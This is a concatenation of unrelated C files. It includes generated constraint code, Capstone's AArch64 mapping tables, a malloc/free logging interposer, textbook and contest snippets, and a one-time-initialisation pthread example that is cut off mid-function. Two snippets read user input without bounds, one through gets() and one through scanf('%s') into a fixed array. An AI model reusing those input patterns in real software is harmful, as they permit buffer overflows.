<= -10.0) && (((x_10 + (-1.0 * _x_x_35)) <= -17.0) && (((x_9 + (-1.0 * _x_x_35)) <= -4.0) && (((x_8 + (-1.0 * _x_x_35)) <= -16.0) && (((x_6 + (-1.0 * _x_x_35)) <= -13.0) && (((x_4 + (-1.0 * _x_x_35)) <= -3.0) && (((x_2 + (-1.0 * _x_x_35)) <= -9.0) && ((x_3 + (-1.0 * _x_x_35)) <= -17.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_35)) == -5.0) || (((x_38 + (-1.0 * _x_x_35)) == -7.0) || (((x_35 + (-1.0 * _x_x_35)) == -8.0) || (((x_33 + (-1.0 * _x_x_35)) == -20.0) || (((x_30 + (-1.0 * _x_x_35)) == -3.0) || (((x_27 + (-1.0 * _x_x_35)) == -12.0) || (((x_25 + (-1.0 * _x_x_35)) == -18.0) || (((x_21 + (-1.0 * _x_x_35)) == -13.0) || (((x_20 + (-1.0 * _x_x_35)) == -19.0) || (((x_18 + (-1.0 * _x_x_35)) == -9.0) || (((x_17 + (-1.0 * _x_x_35)) == -5.0) || (((x_14 + (-1.0 * _x_x_35)) == -18.0) || (((x_12 + (-1.0 * _x_x_35)) == -10.0) || (((x_10 + (-1.0 * _x_x_35)) == -17.0) || (((x_9 + (-1.0 * _x_x_35)) == -4.0) || (((x_8 + (-1.0 * _x_x_35)) == -16.0) || (((x_6 + (-1.0 * _x_x_35)) == -13.0) || (((x_4 + (-1.0 * _x_x_35)) == -3.0) || (((x_2 + (-1.0 * _x_x_35)) == -9.0) || ((x_3 + (-1.0 * _x_x_35)) == -17.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_36)) <= -9.0) && (((x_36 + (-1.0 * _x_x_36)) <= -7.0) && (((x_35 + (-1.0 * _x_x_36)) <= -17.0) && (((x_30 + (-1.0 * _x_x_36)) <= -7.0) && (((x_29 + (-1.0 * _x_x_36)) <= -19.0) && (((x_28 + (-1.0 * _x_x_36)) <= -7.0) && (((x_26 + (-1.0 * _x_x_36)) <= -4.0) && (((x_24 + (-1.0 * _x_x_36)) <= -8.0) && (((x_22 + (-1.0 * _x_x_36)) <= -19.0) && (((x_21 + (-1.0 * _x_x_36)) <= -5.0) && (((x_20 + (-1.0 * _x_x_36)) <= -2.0) && (((x_18 + (-1.0 * _x_x_36)) <= -17.0) && (((x_15 + (-1.0 * _x_x_36)) <= -13.0) && (((x_11 + (-1.0 * _x_x_36)) <= -20.0) && (((x_10 + (-1.0 * _x_x_36)) <= -3.0) && (((x_8 + (-1.0 * _x_x_36)) <= -10.0) && (((x_3 + (-1.0 * _x_x_36)) <= -9.0) && (((x_2 + (-1.0 * _x_x_36)) <= -15.0) && (((x_0 + (-1.0 * _x_x_36)) <= -7.0) && ((x_1 + (-1.0 * _x_x_36)) <= -9.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_36)) == -9.0) || (((x_36 + (-1.0 * _x_x_36)) == -7.0) || (((x_35 + (-1.0 * _x_x_36)) == -17.0) || (((x_30 + (-1.0 * _x_x_36)) == -7.0) || (((x_29 + (-1.0 * _x_x_36)) == -19.0) || (((x_28 + (-1.0 * _x_x_36)) == -7.0) || (((x_26 + (-1.0 * _x_x_36)) == -4.0) || (((x_24 + (-1.0 * _x_x_36)) == -8.0) || (((x_22 + (-1.0 * _x_x_36)) == -19.0) || (((x_21 + (-1.0 * _x_x_36)) == -5.0) || (((x_20 + (-1.0 * _x_x_36)) == -2.0) || (((x_18 + (-1.0 * _x_x_36)) == -17.0) || (((x_15 + (-1.0 * _x_x_36)) == -13.0) || (((x_11 + (-1.0 * _x_x_36)) == -20.0) || (((x_10 + (-1.0 * _x_x_36)) == -3.0) || (((x_8 + (-1.0 * _x_x_36)) == -10.0) || (((x_3 + (-1.0 * _x_x_36)) == -9.0) || (((x_2 + (-1.0 * _x_x_36)) == -15.0) || (((x_0 + (-1.0 * _x_x_36)) == -7.0) || ((x_1 + (-1.0 * _x_x_36)) == -9.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_37)) <= -19.0) && (((x_36 + (-1.0 * _x_x_37)) <= -11.0) && (((x_35 + (-1.0 * _x_x_37)) <= -12.0) && (((x_32 + (-1.0 * _x_x_37)) <= -3.0) && (((x_27 + (-1.0 * _x_x_37)) <= -16.0) && (((x_24 + (-1.0 * _x_x_37)) <= -12.0) && (((x_20 + (-1.0 * _x_x_37)) <= -11.0) && (((x_19 + (-1.0 * _x_x_37)) <= -20.0) && (((x_18 + (-1.0 * _x_x_37)) <= -1.0) && (((x_15 + (-1.0 * _x_x_37)) <= -15.0) && (((x_13 + (-1.0 * _x_x_37)) <= -16.0) && (((x_12 + (-1.0 * _x_x_37)) <= -17.0) && (((x_9 + (-1.0 * _x_x_37)) <= -11.0) && (((x_8 + (-1.0 * _x_x_37)) <= -11.0) && (((x_6 + (-1.0 * _x_x_37)) <= -1.0) && (((x_5 + (-1.0 * _x_x_37)) <= -5.0) && (((x_4 + (-1.0 * _x_x_37)) <= -6.0) && (((x_2 + (-1.0 * _x_x_37)) <= -19.0) && (((x_0 + (-1.0 * _x_x_37)) <= -13.0) && ((x_1 + (-1.0 * _x_x_37)) <= -5.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_37)) == -19.0) || (((x_36 + (-1.0 * _x_x_37)) == -11.0) || (((x_35 + (-1.0 * _x_x_37)) == -12.0) || (((x_32 + (-1.0 * _x_x_37)) == -3.0) || (((x_27 + (-1.0 * _x_x_37)) == -16.0) || (((x_24 + (-1.0 * _x_x_37)) == -12.0) || (((x_20 + (-1.0 * _x_x_37)) == -11.0) || (((x_19 + (-1.0 * _x_x_37)) == -20.0) || (((x_18 + (-1.0 * _x_x_37)) == -1.0) || (((x_15 + (-1.0 * _x_x_37)) == -15.0) || (((x_13 + (-1.0 * _x_x_37)) == -16.0) || (((x_12 + (-1.0 * _x_x_37)) == -17.0) || (((x_9 + (-1.0 * _x_x_37)) == -11.0) || (((x_8 + (-1.0 * _x_x_37)) == -11.0) || (((x_6 + (-1.0 * _x_x_37)) == -1.0) || (((x_5 + (-1.0 * _x_x_37)) == -5.0) || (((x_4 + (-1.0 * _x_x_37)) == -6.0) || (((x_2 + (-1.0 * _x_x_37)) == -19.0) || (((x_0 + (-1.0 * _x_x_37)) == -13.0) || ((x_1 + (-1.0 * _x_x_37)) == -5.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_38)) <= -12.0) && (((x_37 + (-1.0 * _x_x_38)) <= -15.0) && (((x_33 + (-1.0 * _x_x_38)) <= -14.0) && (((x_32 + (-1.0 * _x_x_38)) <= -15.0) && (((x_31 + (-1.0 * _x_x_38)) <= -20.0) && (((x_28 + (-1.0 * _x_x_38)) <= -9.0) && (((x_25 + (-1.0 * _x_x_38)) <= -6.0) && (((x_24 + (-1.0 * _x_x_38)) <= -14.0) && (((x_23 + (-1.0 * _x_x_38)) <= -6.0) && (((x_22 + (-1.0 * _x_x_38)) <= -4.0) && (((x_20 + (-1.0 * _x_x_38)) <= -7.0) && (((x_18 + (-1.0 * _x_x_38)) <= -17.0) && (((x_17 + (-1.0 * _x_x_38)) <= -8.0) && (((x_15 + (-1.0 * _x_x_38)) <= -8.0) && (((x_14 + (-1.0 * _x_x_38)) <= -6.0) && (((x_13 + (-1.0 * _x_x_38)) <= -2.0) && (((x_7 + (-1.0 * _x_x_38)) <= -4.0) && (((x_6 + (-1.0 * _x_x_38)) <= -8.0) && (((x_1 + (-1.0 * _x_x_38)) <= -10.0) && ((x_5 + (-1.0 * _x_x_38)) <= -9.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_38)) == -12.0) || (((x_37 + (-1.0 * _x_x_38)) == -15.0) || (((x_33 + (-1.0 * _x_x_38)) == -14.0) || (((x_32 + (-1.0 * _x_x_38)) == -15.0) || (((x_31 + (-1.0 * _x_x_38)) == -20.0) || (((x_28 + (-1.0 * _x_x_38)) == -9.0) || (((x_25 + (-1.0 * _x_x_38)) == -6.0) || (((x_24 + (-1.0 * _x_x_38)) == -14.0) || (((x_23 + (-1.0 * _x_x_38)) == -6.0) || (((x_22 + (-1.0 * _x_x_38)) == -4.0) || (((x_20 + (-1.0 * _x_x_38)) == -7.0) || (((x_18 + (-1.0 * _x_x_38)) == -17.0) || (((x_17 + (-1.0 * _x_x_38)) == -8.0) || (((x_15 + (-1.0 * _x_x_38)) == -8.0) || (((x_14 + (-1.0 * _x_x_38)) == -6.0) || (((x_13 + (-1.0 * _x_x_38)) == -2.0) || (((x_7 + (-1.0 * _x_x_38)) == -4.0) || (((x_6 + (-1.0 * _x_x_38)) == -8.0) || (((x_1 + (-1.0 * _x_x_38)) == -10.0) || ((x_5 + (-1.0 * _x_x_38)) == -9.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_39)) <= -8.0) && (((x_32 + (-1.0 * _x_x_39)) <= -1.0) && (((x_31 + (-1.0 * _x_x_39)) <= -2.0) && (((x_30 + (-1.0 * _x_x_39)) <= -17.0) && (((x_27 + (-1.0 * _x_x_39)) <= -1.0) && (((x_26 + (-1.0 * _x_x_39)) <= -19.0) && (((x_25 + (-1.0 * _x_x_39)) <= -10.0) && (((x_21 + (-1.0 * _x_x_39)) <= -12.0) && (((x_20 + (-1.0 * _x_x_39)) <= -10.0) && (((x_19 + (-1.0 * _x_x_39)) <= -1.0) && (((x_15 + (-1.0 * _x_x_39)) <= -11.0) && (((x_14 + (-1.0 * _x_x_39)) <= -14.0) && (((x_11 + (-1.0 * _x_x_39)) <= -10.0) && (((x_10 + (-1.0 * _x_x_39)) <= -17.0) && (((x_9 + (-1.0 * _x_x_39)) <= -5.0) && (((x_8 + (-1.0 * _x_x_39)) <= -19.0) && (((x_7 + (-1.0 * _x_x_39)) <= -12.0) && (((x_6 + (-1.0 * _x_x_39)) <= -12.0) && (((x_0 + (-1.0 * _x_x_39)) <= -2.0) && ((x_4 + (-1.0 * _x_x_39)) <= -19.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_39)) == -8.0) || (((x_32 + (-1.0 * _x_x_39)) == -1.0) || (((x_31 + (-1.0 * _x_x_39)) == -2.0) || (((x_30 + (-1.0 * _x_x_39)) == -17.0) || (((x_27 + (-1.0 * _x_x_39)) == -1.0) || (((x_26 + (-1.0 * _x_x_39)) == -19.0) || (((x_25 + (-1.0 * _x_x_39)) == -10.0) || (((x_21 + (-1.0 * _x_x_39)) == -12.0) || (((x_20 + (-1.0 * _x_x_39)) == -10.0) || (((x_19 + (-1.0 * _x_x_39)) == -1.0) || (((x_15 + (-1.0 * _x_x_39)) == -11.0) || (((x_14 + (-1.0 * _x_x_39)) == -14.0) || (((x_11 + (-1.0 * _x_x_39)) == -10.0) || (((x_10 + (-1.0 * _x_x_39)) == -17.0) || (((x_9 + (-1.0 * _x_x_39)) == -5.0) || (((x_8 + (-1.0 * _x_x_39)) == -19.0) || (((x_7 + (-1.0 * _x_x_39)) == -12.0) || (((x_6 + (-1.0 * _x_x_39)) == -12.0) || (((x_0 + (-1.0 * _x_x_39)) == -2.0) || ((x_4 + (-1.0 * _x_x_39)) == -19.0)))))))))))))))))))))) && (_EL_U_4706 == ((_x__EL_U_4706 && (( !(_x_x_14 <= _x_x_25)) || ( !((_x_x_33 + (-1.0 * _x_x_36)) <= -5.0)))) || ((_x_x_12 + (-1.0 * _x_x_32)) <= 18.0))));
_EL_U_4706 = _x__EL_U_4706;
x_25 = _x_x_25;
x_14 = _x_x_14;
x_36 = _x_x_36;
x_33 = _x_x_33;
x_32 = _x_x_32;
x_3 = _x_x_3;
x_12 = _x_x_12;
x_4 = _x_x_4;
x_0 = _x_x_0;
x_5 = _x_x_5;
x_2 = _x_x_2;
x_1 = _x_x_1;
x_6 = _x_x_6;
x_7 = _x_x_7;
x_8 = _x_x_8;
x_13 = _x_x_13;
x_9 = _x_x_9;
x_29 = _x_x_29;
x_10 = _x_x_10;
x_17 = _x_x_17;
x_11 = _x_x_11;
x_18 = _x_x_18;
x_38 = _x_x_38;
x_15 = _x_x_15;
x_22 = _x_x_22;
x_19 = _x_x_19;
x_23 = _x_x_23;
x_24 = _x_x_24;
x_20 = _x_x_20;
x_35 = _x_x_35;
x_34 = _x_x_34;
x_21 = _x_x_21;
x_28 = _x_x_28;
x_26 = _x_x_26;
x_27 = _x_x_27;
x_16 = _x_x_16;
x_30 = _x_x_30;
x_31 = _x_x_31;
x_39 = _x_x_39;
x_37 = _x_x_37;
}
}
|
the_stack_data/507645.c | /* Fig. 6.10: fig06_10.c
Treating character arrays as strings */
#include <stdio.h>
/* function main begins program execution */
int main( void )
{
char string1[ 20 ]; /* reserves 20 characters */
char string2[] = "string literal"; /* reserves 15 characters */
int i; /* counter */
/* read string from user into array string1 */
printf("Enter a string: ");
scanf( "%s", string1 ); /* input ended by whitespace character */
/* output strings */
printf( "string1 is: %s\nstring2 is: %s\n"
"string1 with spaces between characters is:\n",
string1, string2 );
/* output characters until null character is reached */
for ( i = 0; string1[ i ] != '\0'; i++ ) {
printf( "%c ", string1[ i ] );
} /* end for */
printf( "\n" );
return 0; /* indicates successful termination */
} /* end main */
/**************************************************************************
* (C) Copyright 1992-2010 by Deitel & Associates, Inc. and *
* Pearson Education, Inc. All Rights Reserved. *
* *
* DISCLAIMER: The authors and publisher of this book have used their *
* best efforts in preparing the book. These efforts include the *
* development, research, and testing of the theories and programs *
* to determine their effectiveness. The authors and publisher make *
* no warranty of any kind, expressed or implied, with regard to these *
* programs or to the documentation contained in these books. The authors *
* and publisher shall not be liable in any event for incidental or *
* consequential damages in connection with, or arising out of, the *
* furnishing, performance, or use of these programs. *
*************************************************************************/
|
the_stack_data/22012598.c | /* Capstone Disassembly Engine */
/* By Nguyen Anh Quynh <[email protected]>, 2013-2019 */
#ifdef CAPSTONE_HAS_ARM64
#include <stdio.h> // debug
#include <string.h>
#include "../../utils.h"
#include "AArch64Mapping.h"
#define GET_INSTRINFO_ENUM
#include "AArch64GenInstrInfo.inc"
#ifndef CAPSTONE_DIET
// NOTE: this reg_name_maps[] reflects the order of registers in arm64_reg
static const char *reg_name_maps[] = {
NULL, /* ARM64_REG_INVALID */
"ffr",
"fp",
"lr",
"nzcv",
"sp",
"wsp",
"wzr",
"xzr",
"b0",
"b1",
"b2",
"b3",
"b4",
"b5",
"b6",
"b7",
"b8",
"b9",
"b10",
"b11",
"b12",
"b13",
"b14",
"b15",
"b16",
"b17",
"b18",
"b19",
"b20",
"b21",
"b22",
"b23",
"b24",
"b25",
"b26",
"b27",
"b28",
"b29",
"b30",
"b31",
"d0",
"d1",
"d2",
"d3",
"d4",
"d5",
"d6",
"d7",
"d8",
"d9",
"d10",
"d11",
"d12",
"d13",
"d14",
"d15",
"d16",
"d17",
"d18",
"d19",
"d20",
"d21",
"d22",
"d23",
"d24",
"d25",
"d26",
"d27",
"d28",
"d29",
"d30",
"d31",
"h0",
"h1",
"h2",
"h3",
"h4",
"h5",
"h6",
"h7",
"h8",
"h9",
"h10",
"h11",
"h12",
"h13",
"h14",
"h15",
"h16",
"h17",
"h18",
"h19",
"h20",
"h21",
"h22",
"h23",
"h24",
"h25",
"h26",
"h27",
"h28",
"h29",
"h30",
"h31",
"p0",
"p1",
"p2",
"p3",
"p4",
"p5",
"p6",
"p7",
"p8",
"p9",
"p10",
"p11",
"p12",
"p13",
"p14",
"p15",
"q0",
"q1",
"q2",
"q3",
"q4",
"q5",
"q6",
"q7",
"q8",
"q9",
"q10",
"q11",
"q12",
"q13",
"q14",
"q15",
"q16",
"q17",
"q18",
"q19",
"q20",
"q21",
"q22",
"q23",
"q24",
"q25",
"q26",
"q27",
"q28",
"q29",
"q30",
"q31",
"s0",
"s1",
"s2",
"s3",
"s4",
"s5",
"s6",
"s7",
"s8",
"s9",
"s10",
"s11",
"s12",
"s13",
"s14",
"s15",
"s16",
"s17",
"s18",
"s19",
"s20",
"s21",
"s22",
"s23",
"s24",
"s25",
"s26",
"s27",
"s28",
"s29",
"s30",
"s31",
"w0",
"w1",
"w2",
"w3",
"w4",
"w5",
"w6",
"w7",
"w8",
"w9",
"w10",
"w11",
"w12",
"w13",
"w14",
"w15",
"w16",
"w17",
"w18",
"w19",
"w20",
"w21",
"w22",
"w23",
"w24",
"w25",
"w26",
"w27",
"w28",
"w29",
"w30",
"x0",
"x1",
"x2",
"x3",
"x4",
"x5",
"x6",
"x7",
"x8",
"x9",
"x10",
"x11",
"x12",
"x13",
"x14",
"x15",
"x16",
"x17",
"x18",
"x19",
"x20",
"x21",
"x22",
"x23",
"x24",
"x25",
"x26",
"x27",
"x28",
"z0",
"z1",
"z2",
"z3",
"z4",
"z5",
"z6",
"z7",
"z8",
"z9",
"z10",
"z11",
"z12",
"z13",
"z14",
"z15",
"z16",
"z17",
"z18",
"z19",
"z20",
"z21",
"z22",
"z23",
"z24",
"z25",
"z26",
"z27",
"z28",
"z29",
"z30",
"z31",
"v0",
"v1",
"v2",
"v3",
"v4",
"v5",
"v6",
"v7",
"v8",
"v9",
"v10",
"v11",
"v12",
"v13",
"v14",
"v15",
"v16",
"v17",
"v18",
"v19",
"v20",
"v21",
"v22",
"v23",
"v24",
"v25",
"v26",
"v27",
"v28",
"v29",
"v30",
"v31",
};
#endif
const char *AArch64_reg_name(csh handle, unsigned int reg)
{
#ifndef CAPSTONE_DIET
if (reg >= ARR_SIZE(reg_name_maps))
return NULL;
return reg_name_maps[reg];
#else
return NULL;
#endif
}
static const insn_map insns[] = {
// dummy item
{
0, 0,
#ifndef CAPSTONE_DIET
{ 0 }, { 0 }, { 0 }, 0, 0
#endif
},
#include "AArch64MappingInsn.inc"
};
// given internal insn id, return public instruction info
void AArch64_get_insn_id(cs_struct *h, cs_insn *insn, unsigned int id)
{
int i = insn_find(insns, ARR_SIZE(insns), id, &h->insn_cache);
if (i != 0) {
insn->id = insns[i].mapid;
if (h->detail) {
#ifndef CAPSTONE_DIET
cs_struct handle;
handle.detail = h->detail;
memcpy(insn->detail->regs_read, insns[i].regs_use, sizeof(insns[i].regs_use));
insn->detail->regs_read_count = (uint8_t)count_positive(insns[i].regs_use);
memcpy(insn->detail->regs_write, insns[i].regs_mod, sizeof(insns[i].regs_mod));
insn->detail->regs_write_count = (uint8_t)count_positive(insns[i].regs_mod);
memcpy(insn->detail->groups, insns[i].groups, sizeof(insns[i].groups));
insn->detail->groups_count = (uint8_t)count_positive8(insns[i].groups);
insn->detail->arm64.update_flags = cs_reg_write((csh)&handle, insn, ARM64_REG_NZCV);
#endif
}
}
}
static const char *insn_name_maps[] = {
NULL, // ARM64_INS_INVALID
#include "AArch64MappingInsnName.inc"
"sbfiz",
"ubfiz",
"sbfx",
"ubfx",
"bfi",
"bfxil",
"ic",
"dc",
"at",
"tlbi",
};
const char *AArch64_insn_name(csh handle, unsigned int id)
{
#ifndef CAPSTONE_DIET
if (id >= ARM64_INS_ENDING)
return NULL;
if (id < ARR_SIZE(insn_name_maps))
return insn_name_maps[id];
// not found
return NULL;
#else
return NULL;
#endif
}
#ifndef CAPSTONE_DIET
static const name_map group_name_maps[] = {
// generic groups
{ ARM64_GRP_INVALID, NULL },
{ ARM64_GRP_JUMP, "jump" },
{ ARM64_GRP_CALL, "call" },
{ ARM64_GRP_RET, "return" },
{ ARM64_GRP_PRIVILEGE, "privilege" },
{ ARM64_GRP_INT, "int" },
{ ARM64_GRP_BRANCH_RELATIVE, "branch_relative" },
// architecture-specific groups
{ ARM64_GRP_CRYPTO, "crypto" },
{ ARM64_GRP_FPARMV8, "fparmv8" },
{ ARM64_GRP_NEON, "neon" },
{ ARM64_GRP_CRC, "crc" },
{ ARM64_GRP_AES, "aes" },
{ ARM64_GRP_DOTPROD, "dotprod" },
{ ARM64_GRP_FULLFP16, "fullfp16" },
{ ARM64_GRP_LSE, "lse" },
{ ARM64_GRP_RCPC, "rcpc" },
{ ARM64_GRP_RDM, "rdm" },
{ ARM64_GRP_SHA2, "sha2" },
{ ARM64_GRP_SHA3, "sha3" },
{ ARM64_GRP_SM4, "sm4" },
{ ARM64_GRP_SVE, "sve" },
{ ARM64_GRP_V8_1A, "v8_1a" },
{ ARM64_GRP_V8_3A, "v8_3a" },
{ ARM64_GRP_V8_4A, "v8_4a" },
};
#endif
const char *AArch64_group_name(csh handle, unsigned int id)
{
#ifndef CAPSTONE_DIET
return id2name(group_name_maps, ARR_SIZE(group_name_maps), id);
#else
return NULL;
#endif
}
// map instruction name to public instruction ID
arm64_insn AArch64_map_insn(const char *name)
{
unsigned int i;
for(i = 1; i < ARR_SIZE(insn_name_maps); i++) {
if (!strcmp(name, insn_name_maps[i]))
return i;
}
// not found
return ARM64_INS_INVALID;
}
// map internal raw vregister to 'public' register
arm64_reg AArch64_map_vregister(unsigned int r)
{
static const unsigned short RegAsmOffsetvreg[] = {
#include "AArch64GenRegisterV.inc"
};
if (r < ARR_SIZE(RegAsmOffsetvreg))
return RegAsmOffsetvreg[r - 1];
// cannot find this register
return 0;
}
void arm64_op_addVectorArrSpecifier(MCInst * MI, int sp)
{
if (MI->csh->detail) {
MI->flat_insn->detail->arm64.operands[MI->flat_insn->detail->arm64.op_count - 1].vas = sp;
}
}
void arm64_op_addFP(MCInst *MI, float fp)
{
if (MI->csh->detail) {
MI->flat_insn->detail->arm64.operands[MI->flat_insn->detail->arm64.op_count].type = ARM64_OP_FP;
MI->flat_insn->detail->arm64.operands[MI->flat_insn->detail->arm64.op_count].fp = fp;
MI->flat_insn->detail->arm64.op_count++;
}
}
void arm64_op_addImm(MCInst *MI, int64_t imm)
{
if (MI->csh->detail) {
MI->flat_insn->detail->arm64.operands[MI->flat_insn->detail->arm64.op_count].type = ARM64_OP_IMM;
MI->flat_insn->detail->arm64.operands[MI->flat_insn->detail->arm64.op_count].imm = (int)imm;
MI->flat_insn->detail->arm64.op_count++;
}
}
#ifndef CAPSTONE_DIET
// map instruction to its characteristics
typedef struct insn_op {
unsigned int eflags_update; // how this instruction update status flags
uint8_t access[5];
} insn_op;
static insn_op insn_ops[] = {
{
/* NULL item */
0, { 0 }
},
#include "AArch64MappingInsnOp.inc"
};
// given internal insn id, return operand access info
uint8_t *AArch64_get_op_access(cs_struct *h, unsigned int id)
{
int i = insn_find(insns, ARR_SIZE(insns), id, &h->insn_cache);
if (i != 0) {
return insn_ops[i].access;
}
return NULL;
}
void AArch64_reg_access(const cs_insn *insn,
cs_regs regs_read, uint8_t *regs_read_count,
cs_regs regs_write, uint8_t *regs_write_count)
{
uint8_t i;
uint8_t read_count, write_count;
cs_arm64 *arm64 = &(insn->detail->arm64);
read_count = insn->detail->regs_read_count;
write_count = insn->detail->regs_write_count;
// implicit registers
memcpy(regs_read, insn->detail->regs_read, read_count * sizeof(insn->detail->regs_read[0]));
memcpy(regs_write, insn->detail->regs_write, write_count * sizeof(insn->detail->regs_write[0]));
// explicit registers
for (i = 0; i < arm64->op_count; i++) {
cs_arm64_op *op = &(arm64->operands[i]);
switch((int)op->type) {
case ARM64_OP_REG:
if ((op->access & CS_AC_READ) && !arr_exist(regs_read, read_count, op->reg)) {
regs_read[read_count] = (uint16_t)op->reg;
read_count++;
}
if ((op->access & CS_AC_WRITE) && !arr_exist(regs_write, write_count, op->reg)) {
regs_write[write_count] = (uint16_t)op->reg;
write_count++;
}
break;
case ARM_OP_MEM:
// registers appeared in memory references always being read
if ((op->mem.base != ARM64_REG_INVALID) && !arr_exist(regs_read, read_count, op->mem.base)) {
regs_read[read_count] = (uint16_t)op->mem.base;
read_count++;
}
if ((op->mem.index != ARM64_REG_INVALID) && !arr_exist(regs_read, read_count, op->mem.index)) {
regs_read[read_count] = (uint16_t)op->mem.index;
read_count++;
}
if ((arm64->writeback) && (op->mem.base != ARM64_REG_INVALID) && !arr_exist(regs_write, write_count, op->mem.base)) {
regs_write[write_count] = (uint16_t)op->mem.base;
write_count++;
}
default:
break;
}
}
*regs_read_count = read_count;
*regs_write_count = write_count;
}
#endif
#endif
|
the_stack_data/141369.c | /*
************************************************
username : smmehrab
fullname : s.m.mehrabul islam
email : [email protected]
institute : university of dhaka, bangladesh
session : 2017-2018
************************************************
*/
#include<stdio.h>
int main()
{
char s[100];
gets(s);
int i=0,c=0;
while(s[i]!='\0')
{
if(s[i]=='H' ||s[i]=='Q' || s[i]=='9')
{
c=1;
}
i++;
}
if(c==1) printf("YES\n");
else printf("NO\n");
return 0;
}
|
the_stack_data/22013610.c | //Operaciones con variables
#include <stdio.h>
#define PI 3.141592654
int main(){
float x;
int y;
x = PI;
printf ("EL valor de x es: %f \n",x);
printf ("Introduce un valor para y: ");
scanf ("%i", &y);
printf ("El valoor de y es: %i",y);
x = x * y;
printf("El nuevo valor de x es:%f \n\n", x);
return 0;
} |
the_stack_data/48550.c | #include <stdio.h>
#ifdef _OPENMP
#include <omp.h>
#endif
int main()
{
int a, b, c;
a = 0;
#pragma omp parallel if (parallel : a == 0) if (a != 0)
{
printf("This is for testing parser and AST construction, which could be only syntax correct.\n");
}
return 0;
}
|
the_stack_data/7950867.c | #define _GNU_SOURCE /* added this due to `man 3 dlsym` */
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <assert.h>
typedef void *(*malloc_fn_t)(size_t s);
typedef void (*free_fn_t)(void *);
static malloc_fn_t m;
static free_fn_t f;
static int in_initialization = 0;
/*
* Lets find the malloc and free functions in libc! The `RTLD_NEXT`s
* specify that we don't want to find our *own* `malloc`, we'd like to
* search starting with the *next* library.
*/
static void
initialize(void)
{
in_initialization = 1;
/* Lets find libc's free and malloc! */
f = dlsym(RTLD_NEXT, "free");
m = dlsym(RTLD_NEXT, "malloc");
assert(f && m);
in_initialization = 0;
}
/* hackey malloc while initializing */
static void *init_malloc(size_t sz);
void *
malloc(size_t sz)
{
void *mem;
/* if we don't yet know where libc's malloc is, look it up! */
if (m == NULL) {
/* If the `dlsym` in `initialize` calls malloc, we have to handle it! */
if (in_initialization) return init_malloc(sz);
initialize();
}
mem = m(sz);
fprintf(stderr, "malloc(%ld) -> %p\n", sz, mem);
return mem;
}
void
free(void *mem)
{
/* if we don't yet know where libc's free is, look it up! */
if (f == NULL) {
if (in_initialization) return;
initialize();
}
f(mem);
fprintf(stderr, "free(%p)\n", mem);
}
/*
* While we're initializing, a call to malloc in `dlsym` requires
* memory, thus will call `malloc`! But we need `dlsym` to figure out
* where `malloc` is. How do we break this circular dependency?
*
* This is a very simple allocator: ask the system for memory!
*/
static void *
init_malloc(size_t sz)
{
/* Lets use sbrk to ask for memory from the system! */
return sbrk(sz);
/* mmap is another option */
/* return mmap(NULL, sz, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); */
}
|
the_stack_data/556985.c | #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
FILE * fp;
char* line=NULL;
size_t len = 0;
ssize_t read;
int size=0;
fp = fopen("botcc_ip", "r");
if (fp == NULL)
exit(EXIT_FAILURE);
while ((read = getline(&line, &len, fp)) != -1) {
printf("Retrieved line of length %zu :\n", read);
size += 1;
printf("Line %d: %s", size, line);
}
fclose(fp);
if (line)
free(line);
exit(EXIT_SUCCESS);
}
|
the_stack_data/20449220.c | /* */
#include <stdint.h>
int main(void){return 0;}
|
the_stack_data/230744.c | /* one_time_init.c - implements a clone of the pthread_once(3) function.
*
* The pthread_once(3) function allows a multithreaded application to perform
* one-time initialization. The thread function can call the pthread_once(3) function
* passing a pointer to the initialization function, and the environment ensures
* that only the first thread that reaches that point will execute the initialization
* function. All other threads will just skip it.
*
* This program implements a clone of that function named one_time_init. As far as the
* implementation goes, it receives a control and a function pointer argument, just
* like pthread_once(3) does. The control paramenter is a statically allocated struct
* comprised by a Boolean attribute indicating whether or not the initialization
* already happened and a mutex to control access to this shared variable.
*
* This program creates multiple threads to execute the same function that has
* an initialization step within it. By default, the number of threads created
* is 10. This number can be overwritten by defining NUM_THREADS on compilation
* time.
*
* Usage
*
* $ ./one_time_init
*
* Author: Renato Mascarenhas Costa
*/
#include <pthread.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef NUM_THREADS
# define NUM_THREADS (10)
#endif
#define ONE_TIME_INIT_VALUE (42)
#define INIT_CONTROL_INITIALIZER { FALSE, PTHREAD_MUTEX_INITIALIZER }
enum Boolean { FALSE, TRUE };
struct init_control {
enum Boolean initialized;
pthread_mutex_t lock;
};
static int one_time_init(struct init_control *control, void (*init_routine)(void));
/* this value should never be read as -10 in the threads since it will be
* initialized once to a different value */
int to_be_initialized = -10;
static struct init_control control = INIT_CONTROL_INITIALIZER;
static void init_function();
static void *thread_function(void *arg);
static void pexit(const char *fCall);
static void pthread_pexit(int err, const char *fCall);
int
main() {
int s, i;
void *res;
int tids[NUM_THREADS];
pthread_t threads[NUM_THREADS];
printf("Main thread: creating %d threads\n", NUM_THREADS);
for (i = 0; i < NUM_THREADS; ++i) {
tids[i] = i + 1;
s = pthread_create(&threads[i], NULL, thread_function, &tids[i]);
if (s != 0)
pthread_pexit(s, "pthread_create");
}
for (i = 0; i < NUM_THREADS; ++i) {
s = pthread_join(threads[i], &res);
if (s != 0)
pthread_pexit(s, "pthread_join");
}
printf("Main thread: all threads finished, terminating\n");
exit(EXIT_SUCCESS);
}
static void *
thread_function(void *arg) {
int tid = *((int *) arg);
if (one_time_init(&control, init_function) == -1)
pexit("one_time_init");
printf("%d: value of shared variable: %d\n", tid, to_be_initialized);
return NULL;
}
static void
init_function(void) {
printf("Performing initialization\n");
to_be_initialized = ONE_TIME_INIT_VALUE;
}
static int
one_time_init(struct init_control *control, void (*init_function)(void)) {
if (!control) {
errno = EINVAL;
return -1;
}
int s;
/* reading the value of the boolean value requires mutex protection */
s = pthread_mutex_lock(&control->lock);
